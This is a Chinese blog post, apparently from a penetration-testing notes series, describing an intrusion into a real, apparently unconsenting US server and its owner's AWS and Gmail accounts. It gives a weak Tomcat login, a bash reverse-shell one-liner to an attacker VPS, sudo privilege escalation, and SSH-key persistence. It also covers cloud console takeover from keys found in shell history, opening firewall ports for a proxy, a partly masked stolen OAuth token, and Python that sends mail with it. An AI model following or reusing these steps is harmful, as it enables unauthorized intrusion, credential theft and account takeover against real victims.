记一次从外网打通AWS云

发布于:2025-07-23 ⋅ 阅读:(20) ⋅ 点赞:(0)

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)
  21. 记一次艰难的SQL注入(过安全狗)
  22. MSF(2)——各种木马的生成及简单的免杀
  23. MSF(3)——apk和exe的加马(过360、火绒)
  24. 通过Frp解决实现内网穿透
  25. 改造冰蝎马,实现免杀之default_aes php
  26. 使用FofaSpider和Python联动批量挖洞
  27. 记一次简单的对盗号网站的渗透
  28. 记一次幸运的漏洞挖掘

前言

前段时间在Fofa上爬了一堆外国的IP打nday。当时打到了一个Tomcat的美国服务器的弱口令,在上面部署了war包后就去忙别的事了。最近恰好在打hvv,每天盯着态感上十分的安静,连正常业务都没有,再加上懂的都懂的原因,不好去挖什么地方的src。因此重新把之前的马拿出来,仔细研究了一番,发现了很多可以利用的点。其中一些东西还是有学习价值的,刚好很久没有写博客了,这段时间也学了很多东西。遂成此文。

由于全都是真实环境,因此敏感信息全部厚码处理。请遵守法律和行政法规,造成的任何不良后果与本文无关。

从外网到Root

首先访问目标URL,发现是一个Tomcat的登录界面。
在这里插入图片描述
使用弱口令 tomcat/secret成功登录manager,上传war包后用godzilla连接,成功获取webshell。

在shell中执行指令,得知当前用户为root
在这里插入图片描述
这边其实我是改了权限的。最开始连接上时只是个ec2-user的权限,这就是当时我不去深入的原因。这里我另找了一台服务器,演示我当时是如何提权的。

提权

这其实是个很简单的方法,但是在实战中成功率还蛮高的。

首先拿到一个webshell,为低权限用户。
在这里插入图片描述
使用指令反弹得到交互shell,这个反弹指令适用于一些常规bash用不了的情况。

bash -c 'exec 5<>/dev/tcp/IP/PORT;script -qc /bin/bash /dev/null <&5 >&5 2>&5'

在VPS得到回连后,直接用sudo su 尝试提到root。很多时候低权限用户没有密码或者权限配置错误,就可以直接跳到高权限用户。如图
在这里插入图片描述
在实际渗透时,可以先试试这个方法,说不定就提上了。


之后通过写入ssh公钥成功连接ssh。

在这里插入图片描述

后渗透

拿下root后进行常规信息收集,这里建议查看 .bash_history,其中很可能潜藏敏感信息。主要路径就是 /root/.bash_history/home/<user>/.bash_history,视具体情况而定。

在这里,我查看了 /home/ec2-user/.bash_history

在这里插入图片描述
在history中,看到了如下内容:

在这里插入图片描述
啊!这难道?金色传说!

使用dark-kingA云资产管理工具,直接通过KEYID和ACCESSKEY添加存储桶。
在这里插入图片描述
得到9个存储桶。
在这里插入图片描述
在云服务工具中添加资产。
在这里插入图片描述
之后通过工具接管云控制台,得到一个URL。
在这里插入图片描述在这里插入图片描述
把此URL复制到浏览器打开,成功拿下云控制台。
在这里插入图片描述
byd还挺有钱。
在这里插入图片描述

开端口

在控制台中找到EC2,点击实例,看到当前有10个实例。
在这里插入图片描述

由于我用microsocks在最开始控制的服务器上搭建了端口为1080的socks5服务端,因此在这里给端口放行一下。

找到我建立服务的实例,点击,选择安全,并进入安全组策略。
在这里插入图片描述
在入站规则中添加1080端口,这里可以给IP做限制,但我没做。
在这里插入图片描述
成功开放1080端口,用ncat测试,可以正常连接。
在这里插入图片描述

上服

继续看别的实例。

例如我们要想控制第二个openvpn的实例,怎么办呢?你去问AI,AI会给你提供一堆方法,这些方法不仅会影响正常业务,而且用不了。如果你也像我一样是高权限用户,可以直接这样做。

选中实例,在右上角点击连接。
在这里插入图片描述
然后直接用root用户连接。如果root不行,就用默认的ec2-user连接,再去用我之前说的方法提权就好了。
在这里插入图片描述
成功获得root shell。
在这里插入图片描述
通过写公钥来连接ssh。

写公钥

首先找到自己的公钥内容,不知道怎么找的去百度。Windows一般在

C:/Users/<用户名>/.ssh/id_rsa.pub

中。
在这里插入图片描述
使用base64加密公钥。
在这里插入图片描述
然后在控制台中用如下命令写入authorized_keys文件中

echo <加密后的内容> | base64 -d >> /root/.ssh/authorized_keys

在这里插入图片描述
成功写入后用ssh连接。
在这里插入图片描述
以此类推,得到十个ssh。
在这里插入图片描述

信息收集

对这10台服务器进行信息收集。

接管Gmail

在机器PFNZ-AI-Machine-1中,发现了如下内容:

{
	"token": "xxxxogN-NVC_wYqzDYc-NvwDnRLxClgmaZNeXtXS0QjRcHcHDjpgJoaCgYKAVMSARYSFQHGX2MiwWU4f1Jxa0qD_6DeX6d_Og0178",
	"refresh_token": "xxxx7necT5zXEo_ybpkyesyZlBYhrL6w6h_2qg",
	"token_uri": "https://oauth2.googleapis.com/token",
	"client_id": "xxo66d9rorj1vajqtha9.apps.googleusercontent.com",
	"client_secret": "xxxxxZDKIA",
	"scopes": ["https://www.googleapis.com/auth/gmail.modify"],
	"universe_domain": "googleapis.com",
	"account": "",
	"expiry": "2025-07-21T08:00:04.516393Z"
}

通过这些信息,可以直接接管Gmail。

例如通过此Python程序发送邮件。

import base64
from email.mime.text import MIMEText
from google.auth.transport.requests import Request
from google.oauth2.credentials import Credentials
from googleapiclient.discovery import build

token_info = {
    "token": "",
    "refresh_token": "",
    "token_uri": "https://oauth2.googleapis.com/token",
    "client_id": "",
    "client_secret": "",
    "scopes": ["https://www.googleapis.com/auth/gmail.modify"]
}

# ✅ 创建 Credentials 对象
creds = Credentials.from_authorized_user_info(info=token_info)

# ✅ 如果 token 过期,自动刷新(需 refresh_token)
if creds.expired and creds.refresh_token:
    creds.refresh(Request())

# ✅ 构造 Gmail API 服务
service = build('gmail', 'v1', credentials=creds)

# ✅ 构造邮件
def create_message(sender, to, subject, message_text):
    message = MIMEText(message_text, 'plain')
    message['to'] = to
    message['from'] = sender
    message['subject'] = subject
    raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
    return {'raw': raw}

# ✅ 发送邮件
def send_message(service, user_id, message):
    sent = service.users().messages().send(userId=user_id, body=message).execute()
    print(f"✅ Message sent! ID: {sent['id']}")

# ✅ 主程序
if __name__ == '__main__':
    msg = create_message('me', 目标邮箱, 'Hello', 'hello')
    send_message(service, 'me', msg)

成功接收到邮件。
在这里插入图片描述

结语

后续如果再打出有用的东西再回来更新


网站公告

今日签到

点亮在社区的每一天
去签到